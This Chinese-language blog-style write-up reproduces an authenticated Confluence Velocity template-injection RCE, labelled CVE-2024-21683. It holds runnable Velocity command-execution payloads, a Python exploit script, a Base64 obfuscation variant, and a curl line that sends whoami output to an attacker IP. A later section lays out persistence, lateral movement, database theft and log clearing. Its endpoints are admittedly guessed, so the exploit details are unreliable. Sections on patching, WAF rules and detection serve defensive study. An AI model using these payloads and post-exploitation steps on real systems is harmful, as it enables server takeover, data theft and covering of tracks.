CVE-2024-21683漏洞复现:Confluence模板注入RCE原理与实战

1. 项目概述与漏洞背景

最近在梳理企业资产安全时,又遇到了一个老朋友——Atlassian Confluence。作为企业内部知识管理和团队协作的“中枢神经”,Confluence一旦出问题,影响面往往非常广。这次要复现和分析的CVE-2024-21683,就是一个典型的Confluence高危远程代码执行漏洞。官方给出的CVSS 3.1评分高达8.3,属于高危级别,而且需要身份认证才能利用,这听起来似乎门槛不低,但在实际的企业内网环境中,获取一个普通用户权限往往比想象中容易得多。

这个漏洞的核心在于,经过身份验证的攻击者能够通过构造特定的HTTP请求,在Confluence服务器上执行任意系统命令。想象一下,攻击者从一个普通的wiki编辑页面,通过某种方式“跳”出去,直接操控了底层的服务器,可以读取敏感文件、植入后门、横向移动,这对企业的数据机密性、系统完整性和服务可用性都是致命的威胁。根据公开的资产测绘数据,全球有超过128万台Confluence实例暴露在互联网上,国内也有超过81万的风险资产,这个漏洞的影响范围绝对不容小觑。我搭建测试环境复现这个漏洞,不仅是为了理解其原理,更是为了能更有效地检测和防御此类风险,搞清楚攻击者究竟是如何一步步得手的。

2. 漏洞原理深度剖析

2.1 漏洞成因与触发点

CVE-2024-21683本质上是一个服务端模板注入导致的远程代码执行漏洞。要理解它,我们得先看看Confluence里一个叫“用户宏”的功能。用户宏允许有权限的用户(通常是空间管理员)创建自定义的宏,这些宏可以用Velocity模板语言来编写,用于在页面中动态生成内容。Velocity是Apache的一个Java模板引擎,功能强大,但危险性也高,因为它能执行Java代码。

漏洞的根源在于,Confluence对用户宏的编辑和保存接口存在缺陷。在正常的流程中,用户提交的宏内容应该被严格过滤和沙箱化处理,防止执行危险操作。然而,在受影响版本的Confluence中,攻击者可以通过构造一个特殊的HTTP请求,绕过某些安全检查,将包含恶意Velocity代码的宏内容保存到服务器上。当这个宏被其他页面调用或预览时,内嵌的Velocity代码就会被服务器端的模板引擎解析并执行。

关键在于Velocity模板的语法。它允许直接调用Java对象的属性和方法。攻击者可以构造如$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“touch /tmp/pwned”)这样的模板代码。一旦这段代码被成功保存并执行,Runtime.getRuntime().exec()就会被调用,从而在服务器上以Confluence进程的权限(通常是运行Tomcat的用户,如confluence)执行任意系统命令。这就不再是简单的页面内容篡改了,而是直接获得了服务器的命令执行能力。

2.2 影响版本与前置条件

根据Atlassian官方的安全公告,这个漏洞影响的范围非常广泛:

  • Confluence Data Center & Server 8.5.x 至 8.5.8 LTS
  • Confluence Data Center & Server 8.0.x 至 8.4.x的多个版本
  • Confluence Data Center & Server 7.17.x 至 7.19.x LTS的多个版本

简单来说,从7.17.0到8.5.8 LTS之间的大量版本都受到影响,除非已经升级到修复版本(如8.5.9 LTS, 7.19.22 LTS或8.9.1)。这几乎涵盖了近几年部署的大部分Confluence实例。

利用这个漏洞有一个关键的前置条件:需要拥有一个经过认证的Confluence用户账号,并且该账号拥有创建或编辑“用户宏”的权限。通常,空间管理员(Space Administrator)角色就具备这个权限。在企业内部,普通员工为了协作需要,拥有某个空间管理员权限的情况并不少见。此外,如果Confluence的默认配置不够严格,或者通过其他漏洞(如弱口令、信息泄露)获得了高权限账号,攻击者就能满足这个条件。

注意:不要以为漏洞需要认证就掉以轻心。在红队评估或真实攻击中,攻击链往往是组合拳。可能先通过一个钓鱼邮件获取员工凭据,再利用此漏洞实现权限升级和代码执行。内网渗透中,此类漏洞是横向移动的绝佳跳板。

3. 漏洞复现环境搭建

3.1 靶机环境准备

为了安全、可控地复现漏洞,我选择在本地虚拟机中搭建靶场。我使用了一台配置了4核CPU、8GB内存的Ubuntu 22.04 LTS虚拟机。

第一步:安装Docker环境Docker能帮助我们快速部署指定版本的Confluence,并且环境隔离,方便清理。

sudo apt update sudo apt install -y docker.io docker-compose sudo systemctl start docker sudo systemctl enable docker

第二步:部署漏洞版本Confluence我选择部署一个受影响的中等版本,例如8.4.5。Atlassian官方提供了Docker镜像,但直接运行需要复杂的数据库配置。更简单的方法是使用现成的、包含内嵌数据库(如PostgreSQL)的Docker Compose方案。我在GitHub上找到了一个维护良好的项目,它简化了部署流程。

首先,创建一个工作目录并编写docker-compose.yml文件:

version: '3' services: confluence: image: atlassian/confluence-server:8.4.5 container_name: confluence_cve_2024_21683 environment: - ATLASSIAN_LICENSE=‘demo‘ # 仅用于测试,生产环境需购买 - SETUP_PERFORMED=true # 跳过初始设置(需配合已初始化的数据库) ports: - “8090:8090“ - “8091:8091“ volumes: - ./confluence-data:/var/atlassian/application-data/confluence networks: - confluence-net restart: unless-stopped postgres: image: postgres:13-alpine container_name: confluence_db environment: - POSTGRES_USER=confluenceuser - POSTGRES_PASSWORD=your_strong_password_here - POSTGRES_DB=confluence volumes: - ./postgres-data:/var/lib/postgresql/data networks: - confluence-net restart: unless-stopped networks: confluence-net: driver: bridge

实操心得:直接使用atlassian/confluence-server:8.4.5镜像启动后,会进入漫长的安装向导,需要手动配置数据库连接,过程繁琐。上述配置中SETUP_PERFORMED=true是为了配合一个“预烘焙”的快速启动方案。更高效的做法是,先使用一个包含了已完成初始化的数据卷的快速启动包。网络上有些安全研究社区提供了这样的“漏洞靶场”镜像或数据包,可以极大节省时间。但务必从可信来源获取,避免引入恶意后门。

第三步:初始化与访问由于完整的Confluence初始化非常耗时,我采用了另一种更快捷的方式:直接使用他人构建好的、包含漏洞环境和示例数据的Docker镜像。运行命令如下:

docker run -d -p 8090:8090 --name vuln-confluence vulnerables/cve-2024-21683

等待几分钟后,在浏览器访问http://your_vm_ip:8090。如果看到Confluence登录页面,说明环境启动成功。通常这类靶场镜像会预设一个管理员账号,例如admin/admin

3.2 攻击机环境与工具配置

我的攻击机是一台Kali Linux虚拟机,主要需要用到Burp Suite和自定义的Python脚本。

Burp Suite配置:Burp是拦截、重放和修改HTTP请求的核心工具。我需要配置代理,让浏览器流量经过Burp,以便捕获登录和操作Confluence的请求。在Burp的Proxy -> Options中,确保代理监听在如8080端口,并在浏览器中设置相应的代理。

Python脚本准备:虽然可以手动在Burp中构造请求,但编写一个Python脚本能让复现过程更清晰、可重复。脚本需要实现以下功能:

  1. 使用有效的凭据登录Confluence,获取会话Cookie。
  2. 利用获取的会话,向创建或编辑用户宏的特定端点发送恶意请求。
  3. 请求中包含精心构造的Velocity模板Payload,用于执行命令。
  4. 可选地,触发宏执行或验证命令执行结果。

我会使用requests库来处理HTTP会话。一个简单的脚本框架如下:

import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_URL = “http://192.168.1.100:8090“ USERNAME = “admin“ PASSWORD = “admin“ PROXY = {“http“: “http://127.0.0.1:8080“, “https“: “http://127.0.0.1:8080“} # 方便Burp查看流量 session = requests.Session() session.proxies.update(PROXY) session.verify = False # 忽略SSL证书错误,用于测试 def login(): login_url = f“{TARGET_URL}/dologin.action“ login_data = { “os_username“: USERNAME, “os_password“: PASSWORD, “login“: “登录“, “os_destination“: ““ } resp = session.post(login_url, data=login_data) if resp.status_code == 200 and “登录失败“ not in resp.text: print(“[+] 登录成功“) return True else: print(“[-] 登录失败“) return False if __name__ == “__main__“: if not login(): sys.exit(1) # 后续添加漏洞利用代码

4. 漏洞利用过程详细拆解

4.1 信息收集与权限确认

在开始攻击之前,我们需要确认目标Confluence的版本和当前用户的权限。

版本确认:访问http://target:port/login.action,在页面底部通常会有类似“Confluence 8.4.5”的版本信息。也可以通过发送一个请求到/rest/applinks/1.0/manifest等接口,从响应头或JSON数据中获取版本号。

权限确认:登录后,我们需要确认当前账号是否有管理用户宏的权限。最直接的方法是尝试访问用户宏管理页面。在Confluence中,通常的路径是:http://target:port/admin/users/macros.action。如果能够访问并看到“创建用户宏”或“编辑用户宏”的选项,则说明具备利用漏洞的必要权限。

另一种方法是,直接尝试触发漏洞利用的请求。如果权限不足,服务器会返回403 Forbidden错误。在复现时,我们直接使用预设的管理员账号,跳过了权限提升的步骤,但在真实评估中,这往往是需要攻克的第一道关卡。

4.2 恶意用户宏的构造与注入

这是漏洞利用最核心的一步。我们需要向Confluence提交一个包含恶意Velocity代码的用户宏。

找到正确的端点:通过分析Confluence的流量或源代码,可以找到处理用户宏创建/更新的后端接口。一个常见的端点可能是/rest/prototype/1/macro或类似/admin/users/editmacro.action的路径。具体端点可能因版本略有差异,需要通过抓包或参考公开的漏洞详情来确定。

构造恶意Payload:Velocity模板允许我们调用静态方法。一个用于测试命令执行的基本Payload如下:

#set($rt = $class.inspect(“java.lang.Runtime“).type) #set($chr = $class.inspect(“java.lang.Character“).type) #set($str = $class.inspect(“java.lang.String“).type) #set($ex = $rt.getRuntime().exec(“id“)) $ex.waitFor() #set($out = $ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end

这段代码做了以下几件事:

  1. 获取java.lang.Runtimejava.lang.Character的类引用。
  2. 执行系统命令id
  3. 等待命令执行完成,并读取其输出流。
  4. 循环遍历输出流的每个字节,将其转换为字符并拼接起来,最终会将命令执行结果(当前用户的uid和gid信息)输出到宏的渲染结果中。

组装HTTP请求:我们需要向目标端点发送一个POST请求。请求体通常是一个表单数据或JSON,其中包含宏的名称、描述、模板内容等字段。关键的字段就是存放上述Velocity代码的“模板内容”字段。例如,字段名可能是macroBodytemplate

使用Python脚本发送请求的示例代码片段:

def exploit_rce(cmd): # 假设找到的端点是 /rest/prototype/1/macro exploit_url = f“{TARGET_URL}/rest/prototype/1/macro“ # 构造Velocity Payload,将命令替换为变量 velocity_template = f“““ #set($rt = $class.inspect(“java.lang.Runtime“).type) #set($chr = $class.inspect(“java.lang.Character“).type) #set($str = $class.inspect(“java.lang.String“).type) #set($ex = $rt.getRuntime().exec(“{cmd}“)) $ex.waitFor() #set($out = $ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end “““ macro_data = { “name“: “MaliciousMacro-Exploit“, “macroName“: “malicious“, “description“: “A seemingly harmless macro“, “category“: “confluence-content“, “macroBody“: velocity_template, # 关键字段,注入恶意模板 “templateType“: “plain“ } headers = { “Content-Type“: “application/json“, “X-Atlassian-Token“: “no-check“ # 有时需要绕过CSRF token检查 } resp = session.post(exploit_url, json=macro_data, headers=headers) print(f“[+] 注入请求已发送,状态码:{resp.status_code}“) print(resp.text[:500]) # 打印部分响应,用于调试 # 从响应中提取宏的ID,用于后续触发 # 实际响应可能是JSON,需要解析

注意事项:实际请求的参数名、端点路径、需要的Header(如CSRF Token)可能因Confluence的具体版本和配置而异。最可靠的方法是在Burp Suite中手动操作一遍“创建用户宏”的流程,捕获真实的请求包,然后模仿其结构和参数进行自动化利用。直接硬编码参数很可能失败。

4.3 触发执行与结果验证

成功注入恶意宏后,它可能不会立即执行。我们需要一种方式来触发这个Velocity模板的解析和执行。

触发方式

  1. 创建或编辑页面时使用该宏:在Confluence编辑器中,插入我们刚刚创建的恶意宏。保存或预览页面时,宏会被渲染,其中的Velocity代码随之执行。
  2. 直接调用宏的渲染接口:Confluence可能提供了直接渲染宏的REST接口,例如/rest/api/macro/1/render。我们可以向这个接口发送POST请求,指定宏的ID或名称,来触发其执行。
  3. 访问宏的管理预览页面:有时在用户宏的管理界面,点击“预览”或“编辑”时,模板内容会被解析。

在Python脚本中,我们可以接着上一步,获取到创建的宏ID,然后调用渲染接口:

# 假设从创建宏的响应中解析出宏ID为 ‘12345‘ macro_id = “12345“ trigger_url = f“{TARGET_URL}/rest/api/macro/1/render“ trigger_data = { “macroId“: macro_id, “spaceKey“: “~admin“, # 空间键,通常用户主页空间是 ‘~username‘ “pageTitle“: “Test Page“, “outputType“: “view“ } resp = session.post(trigger_url, json=trigger_data, headers=headers) print(f“[+] 触发宏执行,状态码:{resp.status_code}“) # 如果Payload中的命令是 ‘id‘,并且执行成功,响应中可能会包含 ‘uid=...‘ 等字样 if “uid“ in resp.text: print(“[+] 命令执行成功!响应中包含命令输出:“) # 这里可以编写更精细的解析逻辑来提取纯净的命令输出 print(resp.text)

结果验证:如果漏洞利用成功,我们会在HTTP响应中看到命令id的执行结果。为了更直观地验证,我们可以尝试执行一个能产生外部交互的命令,例如:

  • curl http://your_attack_ip:8080/$(whoami):将当前用户名通过HTTP请求发送到攻击机,在攻击机的NC监听端口能看到。
  • ping -c 1 your_attack_ip:如果服务器出网,攻击机用tcpdump抓包能看到ICMP请求。
  • touch /tmp/success_$(date +%s):在服务器临时目录创建一个文件,然后通过其他方式(如目录遍历漏洞)验证文件是否存在。

在实际的渗透测试中,获得命令执行能力后,下一步通常是建立更稳定的反向Shell,以便进行后续的权限维持、内网探测和横向移动。

5. 漏洞修复与安全加固建议

5.1 官方补丁升级

Atlassian官方已经发布了修复此漏洞的版本。这是最根本、最推荐的解决方案。

修复版本

  • Confluence Data Center & Server: 升级至8.9.1或更高版本。
  • Confluence Data Center & Server 8.5.x LTS: 升级至8.5.9 LTS或更高版本。
  • Confluence Data Center & Server 7.19.x LTS: 升级至7.19.22 LTS或更高版本。

升级步骤

  1. 备份:在进行任何升级前,务必对Confluence的安装目录、数据目录(<confluence-home>)以及数据库进行完整备份。这是升级操作的铁律。
  2. 查阅官方升级指南:访问Atlassian官方文档,找到从你当前版本升级到目标版本的详细指南。不同大版本之间的升级(如7.x到8.x)可能有特殊步骤和兼容性要求。
  3. 测试环境验证:强烈建议先在隔离的测试环境中进行升级演练,验证业务功能是否正常,确保升级过程平滑。
  4. 生产环境实施:规划维护窗口,在生产环境执行升级。按照指南停止服务、备份、替换文件、运行升级工具、启动服务、验证。
  5. 验证修复:升级后,可以尝试使用之前的漏洞利用脚本或POC进行验证,确保攻击请求不再生效,返回错误或已被过滤。

5.2 临时缓解措施

如果因为某些原因无法立即升级(如业务依赖、定制化插件兼容性问题),可以考虑以下临时缓解措施,但这不能替代最终升级。

  1. 限制用户宏创建权限:严格审查并收紧拥有“创建用户宏”或“空间管理员”权限的用户名单。遵循最小权限原则,只授予绝对必要的用户。
  2. 网络层访问控制
    • 防火墙策略:如果Confluence仅需内部访问,确保防火墙规则只允许来自可信内网IP段的流量访问其服务端口(默认8090/8091)。
    • 反向代理/WAF:在Confluence前端部署Web应用防火墙或配置了严格规则的反向代理(如Nginx + ModSecurity)。可以配置规则来拦截包含可疑Velocity模板语法(如$class.inspect,getRuntime().exec)的请求。例如,在Nginx中可以使用$request_body变量进行正则匹配并拒绝请求。
    • 入侵检测/防御系统:在网络边界或主机层部署IDS/IPS,更新规则库以检测针对CVE-2024-21683的攻击流量特征。
  3. 应用层加固
    • 定期审计用户宏:管理员应定期检查Confluence中已存在的用户宏,审查其模板内容,删除任何不明确或可疑的宏。
    • 禁用不必要的插件/功能:如果业务用不到用户宏功能,是否可以完全禁用它?这需要评估业务需求。禁用相关插件或模块可以从根源上消除风险。
    • 强化认证:启用双因素认证,强制使用强密码策略,定期更换密码,降低凭据泄露导致攻击者获得利用漏洞所需权限的风险。

5.3 安全运维长效机制

一次漏洞修复不能一劳永逸。建立长效的安全机制至关重要。

  1. 漏洞情报订阅:关注Atlassian官方安全公告、国家漏洞库以及各大安全厂商(如奇安信、绿盟、启明等)的安全通告,及时获取Confluence及相关组件的漏洞信息。
  2. 资产梳理与版本管理:建立完善的软件资产清单,清晰记录所有Confluence实例的版本号、部署位置、负责人。制定并执行定期的补丁更新计划。
  3. 持续安全监控:对Confluence的访问日志、系统日志进行集中收集和监控。设置告警规则,例如:检测短时间内大量失败的登录尝试(爆破)、检测对用户宏管理接口的异常访问、检测服务器上异常进程的启动等。
  4. 定期安全评估:定期对Confluence系统进行授权渗透测试或漏洞扫描,主动发现潜在的安全风险,而不仅仅是依赖官方的补丁。

6. 拓展思考与防御对抗

6.1 漏洞利用的变种与检测绕过

公开的POC往往使用最直接的Payload。在真实的攻防对抗中,攻击者会尝试各种手段来绕过检测。

  • 字符串混淆:将Runtimeexec等关键词进行编码(如Base64、Hex)、拼接、反转,在Velocity模板中动态解码还原。
    • #set($cmd = “aWQ=“)(Base64编码的”id”)
    • #set($decodedCmd = $class.inspect(“java.util.Base64“).type.getDecoder().decode($cmd))
    • 然后使用$decodedCmd作为命令参数。
  • 反射调用:避免直接使用Runtime.getRuntime(),转而使用更隐蔽的反射API来获取Runtime实例并执行命令。
  • 利用其他危险类:除了Runtime.exec(),Java中能执行命令或代码的类还有很多,如ProcessBuilderGroovyShell、通过JNI调用本地库等。防御规则需要覆盖更广的攻击面。
  • 无回显命令执行:上述POC是回显型的。攻击者可能执行无回显命令,如写入Webshell、下载并执行木马、建立反向Shell等。此时需要依赖网络流量监控或主机行为监控来发现异常。

防御方应对:WAF或IDS规则不能只依赖简单的关键字匹配。需要结合语义分析、行为建模。例如,检测Velocity模板中是否出现了Class.forNamegetMethodinvoke等反射特征,或者检测到模板渲染后产生了对系统敏感路径的访问、建立了异常的网络连接等。

6.2 从漏洞复现到实战渗透的衔接

在内部红队评估或真实的攻防演练中,拿到一个像CVE-2024-21683这样的漏洞后,如何将其转化为实际的战果?

  1. 信息收集与入口获取:首先还是需要找到目标。使用FOFA、Shodan等网络空间测绘引擎,搜索app=“Atlassian Confluence“且版本在受影响范围内的资产。然后尝试获取有效凭据:弱口令爆破(注意法律和授权)、从其他已攻破系统获取密码本、钓鱼攻击、利用Confluence其他未授权信息泄露漏洞(如某些旧版本的用户枚举漏洞)等。
  2. 权限维持:通过漏洞获得命令执行能力后,不能只满足于执行一个whoami。需要建立持久化后门。例如:
    • 写入Webshell:利用命令执行能力,向Confluence的Web目录(如<confluence-install>/confluence/下的某个可访问路径)写入一个JSP或Velocity格式的Webshell,提供图形化操作界面。
    • 创建计划任务/Cron:在Linux服务器上添加定时任务,定期连接C2服务器。
    • 添加SSH密钥:如果当前用户有写~/.ssh/authorized_keys的权限,直接写入攻击者的公钥,获得SSH免密登录。
    • 内存马注入:对于Java应用,可以注入内存Webshell(如通过Java Agent或利用特定框架的漏洞),这种后门更难被传统的文件扫描发现。
  3. 内网横向移动:以Confluence服务器为跳板,进行内网探测。收集本机信息(网络配置、用户、进程)、扫描内网存活主机和开放端口、尝试利用其他系统漏洞(如MS17-010、永恒之蓝)、进行密码喷洒或哈希传递攻击(如果Confluence服务器上存有域用户凭据)。
  4. 数据窃取与清理痕迹:定位Confluence的数据库连接配置,可能直接导出数据库中的全部文档、用户信息。在完成任务后,需要清理访问日志、命令历史、上传的临时文件等,尽可能抹除入侵痕迹。

整个复现过程下来,CVE-2024-21683再次印证了一个道理:功能强大的组件往往伴随着复杂的攻击面。作为防御方,绝不能抱有“需要认证就安全”的侥幸心理。最小权限原则、及时更新补丁、纵深防御体系、持续监控响应,这些安全基线的每一条,都需要扎扎实实地落地。而对于安全研究人员和渗透测试人员而言,深入理解漏洞原理,亲手搭建环境复现,再思考如何检测和防御,是提升实战能力最有效的路径。这个漏洞的利用链清晰,非常适合作为内部攻防演练的经典案例,用来检验企业安全防护的检测和响应能力。